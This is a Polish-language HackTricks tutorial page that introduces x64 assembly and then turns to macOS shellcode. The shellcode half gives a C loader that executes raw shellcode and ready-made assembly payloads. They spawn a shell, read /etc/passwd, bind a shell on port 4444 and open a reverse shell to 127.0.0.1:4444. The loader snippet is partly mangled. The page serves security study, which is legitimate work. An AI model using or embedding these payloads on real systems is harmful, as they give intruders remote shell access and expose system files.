Introduction to x64

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie dla HackTricks

• Sprawdź plany subskrypcyjne!

• Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.

• Podziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na GitHubie.

Wprowadzenie do x64

x64, znana również jako x86-64, to 64-bitowa architektura procesora, głównie używana w komputerach stacjonarnych i serwerach. Pochodzi z architektury x86 produkowanej przez Intel, a później przyjętej przez AMD pod nazwą AMD64, jest to dominująca architektura w komputerach osobistych i serwerach dzisiaj.

Rejestry

x64 rozwija architekturę x86, oferując 16 rejestrów ogólnego przeznaczenia oznaczonych jako rax, rbx, rcx, rdx, rbp, rsp, rsi, rdi, oraz r8 do r15. Każdy z nich może przechowywać wartość 64-bitową (8-bajtową). Te rejestry mają również podrejestry 32-bitowe, 16-bitowe i 8-bitowe dla zgodności i specyficznych zadań.

1. rax - Tradycyjnie używany do wartości zwracanych z funkcji.

2. rbx - Często używany jako rejestr bazowy dla operacji pamięci.

3. rcx - Powszechnie używany do liczników pętli.

4. rdx - Używany w różnych rolach, w tym rozszerzonych operacjach arytmetycznych.

5. rbp - Wskaźnik bazowy dla ramki stosu.

6. rsp - Wskaźnik stosu, śledzący szczyt stosu.

7. rsi i rdi - Używane do indeksów źródłowych i docelowych w operacjach na łańcuchach/pamięci.

8. r8 do r15 - Dodatkowe rejestry ogólnego przeznaczenia wprowadzone w x64.

Konwencja wywołań

Konwencja wywołań x64 różni się w zależności od systemu operacyjnego. Na przykład:

• Windows: Pierwsze cztery parametry są przekazywane w rejestrach rcx, rdx, r8 i r9. Dalsze parametry są umieszczane na stosie. Wartość zwracana znajduje się w rax.

• System V (powszechnie używany w systemach podobnych do UNIX): Pierwsze sześć parametrów całkowitych lub wskaźnikowych jest przekazywanych w rejestrach rdi, rsi, rdx, rcx, r8 i r9. Wartość zwracana również znajduje się w rax.

Jeśli funkcja ma więcej niż sześć argumentów, pozostałe będą przekazywane na stosie. RSP, wskaźnik stosu, musi być wyrównany do 16 bajtów, co oznacza, że adres, na który wskazuje, musi być podzielny przez 16 przed jakimkolwiek wywołaniem. Oznacza to, że normalnie musielibyśmy upewnić się, że RSP jest odpowiednio wyrównany w naszym shellcode przed wykonaniem wywołania funkcji. Jednak w praktyce wywołania systemowe działają wiele razy, nawet jeśli ten wymóg nie jest spełniony.

Konwencja wywołań w Swift

Swift ma swoją własną konwencję wywołań, którą można znaleźć w https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64

Typowe instrukcje

Instrukcje x64 mają bogaty zestaw, zachowując zgodność z wcześniejszymi instrukcjami x86 i wprowadzając nowe.

• mov: Przenieś wartość z jednego rejestru lub lokacji pamięci do innego.

• Przykład: mov rax, rbx — Przenosi wartość z rbx do rax.

• push i pop: Wstawiaj lub wyjmuj wartości ze/na stos.

• Przykład: push rax — Wstawia wartość w rax na stos.

• Przykład: pop rax — Wyjmuje górną wartość ze stosu do rax.

• add i sub: Operacje dodawania i odejmowania.

• Przykład: add rax, rcx — Dodaje wartości w rax i rcx, zapisując wynik w rax.

• mul i div: Operacje mnożenia i dzielenia. Uwaga: mają one specyficzne zachowania dotyczące użycia operandów.

• call i ret: Używane do wywoływania i zwracania z funkcji.

• int: Używane do wywoływania oprogramowania przerwania. Np. int 0x80 było używane do wywołań systemowych w 32-bitowym x86 Linux.

• cmp: Porównaj dwie wartości i ustaw flagi CPU na podstawie wyniku.

• Przykład: cmp rax, rdx — Porównuje rax z rdx.

• je, jne, jl, jge, ...: Instrukcje skoku warunkowego, które zmieniają przepływ sterowania na podstawie wyników poprzedniego cmp lub testu.

• Przykład: Po instrukcji cmp rax, rdx, je label — Skacze do label, jeśli rax jest równy rdx.

• syscall: Używane do wywołań systemowych w niektórych systemach x64 (jak nowoczesny Unix).

• sysenter: Zoptymalizowana instrukcja wywołania systemowego na niektórych platformach.

Prolog funkcji

1. Wstaw stary wskaźnik bazowy: push rbp (zapisuje wskaźnik bazowy wywołującego)

2. Przenieś aktualny wskaźnik stosu do wskaźnika bazowego: mov rbp, rsp (ustawia nowy wskaźnik bazowy dla bieżącej funkcji)

3. Przydziel miejsce na stosie dla zmiennych lokalnych: sub rsp, <size> (gdzie <size> to liczba bajtów potrzebnych)

Epilog funkcji

1. Przenieś aktualny wskaźnik bazowy do wskaźnika stosu: mov rsp, rbp (zwalnia zmienne lokalne)

2. Wyjmij stary wskaźnik bazowy ze stosu: pop rbp (przywraca wskaźnik bazowy wywołującego)

3. Zwróć: ret (zwraca kontrolę do wywołującego)

macOS

syscalls

Istnieją różne klasy wywołań systemowych, możesz znaleźć je tutaj:

#define SYSCALL_CLASS_NONE	0	/* Invalid */
#define SYSCALL_CLASS_MACH	1	/* Mach */
#define SYSCALL_CLASS_UNIX	2	/* Unix/BSD */
#define SYSCALL_CLASS_MDEP	3	/* Machine-dependent */
#define SYSCALL_CLASS_DIAG	4	/* Diagnostics */
#define SYSCALL_CLASS_IPC	5	/* Mach IPC */

Następnie możesz znaleźć każdy numer syscall pod tym adresem:

0	AUE_NULL	ALL	{ int nosys(void); }   { indirect syscall }
1	AUE_EXIT	ALL	{ void exit(int rval); }
2	AUE_FORK	ALL	{ int fork(void); }
3	AUE_NULL	ALL	{ user_ssize_t read(int fd, user_addr_t cbuf, user_size_t nbyte); }
4	AUE_NULL	ALL	{ user_ssize_t write(int fd, user_addr_t cbuf, user_size_t nbyte); }
5	AUE_OPEN_RWTC	ALL	{ int open(user_addr_t path, int flags, int mode); }
6	AUE_CLOSE	ALL	{ int close(int fd); }
7	AUE_WAIT4	ALL	{ int wait4(int pid, user_addr_t status, int options, user_addr_t rusage); }
8	AUE_NULL	ALL	{ int nosys(void); }   { old creat }
9	AUE_LINK	ALL	{ int link(user_addr_t path, user_addr_t link); }
10	AUE_UNLINK	ALL	{ int unlink(user_addr_t path); }
11	AUE_NULL	ALL	{ int nosys(void); }   { old execv }
12	AUE_CHDIR	ALL	{ int chdir(user_addr_t path); }
[...]

Aby wywołać syscall open (5) z klasy Unix/BSD, musisz dodać: 0x2000000

Zatem numer syscall do wywołania open to 0x2000005

Shellcodes

Aby skompilować:

nasm -f macho64 shell.asm -o shell.o
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib

Aby wyodrębnić bajty:

# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh
for c in $(objdump -d "shell.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done

# Another option
otool -t shell.o | grep 00 | cut -f2 -d$'\t' | sed 's/ /\\x/g' | sed 's/^/\\x/g' | sed 's/\\x$//g'

Kod C do testowania shellcode

```c // code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader #include #include #include #include

int (*sc)();

char shellcode[] = "";

int main(int argc, char **argv) { printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));

void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);

if (ptr == MAP_FAILED) { perror("mmap"); exit(-1); } printf("[+] SUCCESS: mmap\n"); printf(" |-> Return = %p\n", ptr);

void *dst = memcpy(ptr, shellcode, sizeof(shellcode)); printf("[+] SUCCESS: memcpy\n"); printf(" |-> Return = %p\n", dst);

int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);

if (status == -1) { perror("mprotect"); exit(-1); } printf("[+] SUCCESS: mprotect\n"); printf(" |-> Return = %d\n", status);

printf("[>] Trying to execute shellcode...\n");

sc = ptr; sc();

return 0; }

</details>

#### Shell

Pobrane z [**tutaj**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) i wyjaśnione.

<div data-gb-custom-block data-tag="tabs">

<div data-gb-custom-block data-tag="tab" data-title='z adr'>

```armasm
bits 64
global _main
_main:
call    r_cmd64
db '/bin/zsh', 0
r_cmd64:                      ; the call placed a pointer to db (argv[2])
pop     rdi               ; arg1 from the stack placed by the call to l_cmd64
xor     rdx, rdx          ; store null arg3
push    59                ; put 59 on the stack (execve syscall)
pop     rax               ; pop it to RAX
bts     rax, 25           ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall

bits 64
global _main

_main:
xor     rdx, rdx          ; zero our RDX
push    rdx               ; push NULL string terminator
mov     rbx, '/bin/zsh'   ; move the path into RBX
push    rbx               ; push the path, to the stack
mov     rdi, rsp          ; store the stack pointer in RDI (arg1)
push    59                ; put 59 on the stack (execve syscall)
pop     rax               ; pop it to RAX
bts     rax, 25           ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall

Czytaj za pomocą cat

Celem jest wykonanie execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL), więc drugi argument (x1) to tablica parametrów (co w pamięci oznacza stos adresów).

bits 64
section .text
global _main

_main:
; Prepare the arguments for the execve syscall
sub rsp, 40         ; Allocate space on the stack similar to `sub sp, sp, #48`

lea rdi, [rel cat_path]   ; rdi will hold the address of "/bin/cat"
lea rsi, [rel passwd_path] ; rsi will hold the address of "/etc/passwd"

; Create inside the stack the array of args: ["/bin/cat", "/etc/passwd"]
push rsi   ; Add "/etc/passwd" to the stack (arg0)
push rdi   ; Add "/bin/cat" to the stack (arg1)

; Set in the 2nd argument of exec the addr of the array
mov rsi, rsp    ; argv=rsp - store RSP's value in RSI

xor rdx, rdx    ; Clear rdx to hold NULL (no environment variables)

push    59      ; put 59 on the stack (execve syscall)
pop     rax     ; pop it to RAX
bts     rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall         ; Make the syscall

section .data
cat_path:      db "/bin/cat", 0
passwd_path:   db "/etc/passwd", 0

Wywołaj polecenie za pomocą sh

bits 64
section .text
global _main

_main:
; Prepare the arguments for the execve syscall
sub rsp, 32           ; Create space on the stack

; Argument array
lea rdi, [rel touch_command]
push rdi                      ; push &"touch /tmp/lalala"
lea rdi, [rel sh_c_option]
push rdi                      ; push &"-c"
lea rdi, [rel sh_path]
push rdi                      ; push &"/bin/sh"

; execve syscall
mov rsi, rsp                  ; rsi = pointer to argument array
xor rdx, rdx                  ; rdx = NULL (no env variables)
push    59                    ; put 59 on the stack (execve syscall)
pop     rax                   ; pop it to RAX
bts     rax, 25               ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall

_exit:
xor rdi, rdi                  ; Exit status code 0
push    1                     ; put 1 on the stack (exit syscall)
pop     rax                   ; pop it to RAX
bts     rax, 25               ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall

section .data
sh_path:        db "/bin/sh", 0
sh_c_option:    db "-c", 0
touch_command:  db "touch /tmp/lalala", 0

Bind shell

Bind shell z https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html na porcie 4444

section .text
global _main
_main:
; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
xor  rdi, rdi
mul  rdi
mov  dil, 0x2
xor  rsi, rsi
mov  sil, 0x1
mov  al, 0x2
ror  rax, 0x28
mov  r8, rax
mov  al, 0x61
syscall

; struct sockaddr_in {
;         __uint8_t       sin_len;
;         sa_family_t     sin_family;
;         in_port_t       sin_port;
;         struct  in_addr sin_addr;
;         char            sin_zero[8];
; };
mov  rsi, 0xffffffffa3eefdf0
neg  rsi
push rsi
push rsp
pop  rsi

; bind(host_sockid, &sockaddr, 16)
mov  rdi, rax
xor  dl, 0x10
mov  rax, r8
mov  al, 0x68
syscall

; listen(host_sockid, 2)
xor  rsi, rsi
mov  sil, 0x2
mov  rax, r8
mov  al, 0x6a
syscall

; accept(host_sockid, 0, 0)
xor  rsi, rsi
xor  rdx, rdx
mov  rax, r8
mov  al, 0x1e
syscall

mov rdi, rax
mov sil, 0x3

dup2:
; dup2(client_sockid, 2)
;   -> dup2(client_sockid, 1)
;   -> dup2(client_sockid, 0)
mov  rax, r8
mov  al, 0x5a
sub  sil, 1
syscall
test rsi, rsi
jne  dup2

; execve("//bin/sh", 0, 0)
push rsi
mov  rdi, 0x68732f6e69622f2f
push rdi
push rsp
pop  rdi
mov  rax, r8
mov  al, 0x3b
syscall

Reverse Shell

Reverse shell z https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html. Reverse shell do 127.0.0.1:4444

section .text
global _main
_main:
; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
xor  rdi, rdi
mul  rdi
mov  dil, 0x2
xor  rsi, rsi
mov  sil, 0x1
mov  al, 0x2
ror  rax, 0x28
mov  r8, rax
mov  al, 0x61
syscall

; struct sockaddr_in {
;         __uint8_t       sin_len;
;         sa_family_t     sin_family;
;         in_port_t       sin_port;
;         struct  in_addr sin_addr;
;         char            sin_zero[8];
; };
mov  rsi, 0xfeffff80a3eefdf0
neg  rsi
push rsi
push rsp
pop  rsi

; connect(sockid, &sockaddr, 16)
mov  rdi, rax
xor  dl, 0x10
mov  rax, r8
mov  al, 0x62
syscall

xor rsi, rsi
mov sil, 0x3

dup2:
; dup2(sockid, 2)
;   -> dup2(sockid, 1)
;   -> dup2(sockid, 0)
mov  rax, r8
mov  al, 0x5a
sub  sil, 1
syscall
test rsi, rsi
jne  dup2

; execve("//bin/sh", 0, 0)
push rsi
mov  rdi, 0x68732f6e69622f2f
push rdi
push rsp
pop  rdi
xor  rdx, rdx
mov  rax, r8
mov  al, 0x3b
syscall

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)